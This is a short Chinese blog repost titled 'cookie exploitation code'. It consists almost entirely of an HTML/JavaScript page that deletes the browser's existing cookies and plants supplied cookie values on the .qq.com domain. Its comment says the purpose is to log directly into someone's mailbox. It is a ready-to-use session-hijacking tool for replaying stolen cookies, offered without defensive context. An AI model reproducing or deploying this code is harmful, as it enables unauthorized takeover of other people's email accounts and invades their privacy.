首页 > 其他 > 详细

cookie利用代码

时间:2021-01-11 20:49:04      阅读:31      评论:0      收藏:0      [点我收藏+]

1

<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
    </body>
    <script>
    </script>
    <script>
        //通过cookie 直接登录用户邮箱, 这是一种黑猫警长技术
        var string = "";
        
        
        var getCookie = function( str) {
            var cookieArr = str.split(";");
            if(cookieArr == "") return ;
            var result = {};
            for(var i=0; i<cookieArr.length; i++) {
                cookieArr[i] = cookieArr[i].trim();
                var key = cookieArr[i].split("=")[0].trim();
                var value = cookieArr[i].substr(key.length+1).trim();
                result[key] = value;
            };
            return result;
        }
        var setCookie = function(key, value, day) {
            var date = new Date();
            date.setDate(date.getDate() + day);
            document.cookie = key+"="+value+"; expires="+date.toGMTString()+"; path=/" + "; domain=.qq.com";
        }
        var oldCookies = getCookie(document.cookie);
        //removeOld-cookie;
        for(var p in oldCookies) {
            setCookie(p, oldCookies[p], -4);
        }

        var cookies = getCookie(string);
        for(var p in cookies) {
            setCookie(p, cookies[p], 4);
        }
    </script>
</html>

 

EOF

cookie利用代码

原文:https://www.cnblogs.com/diligenceday/p/8073801.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!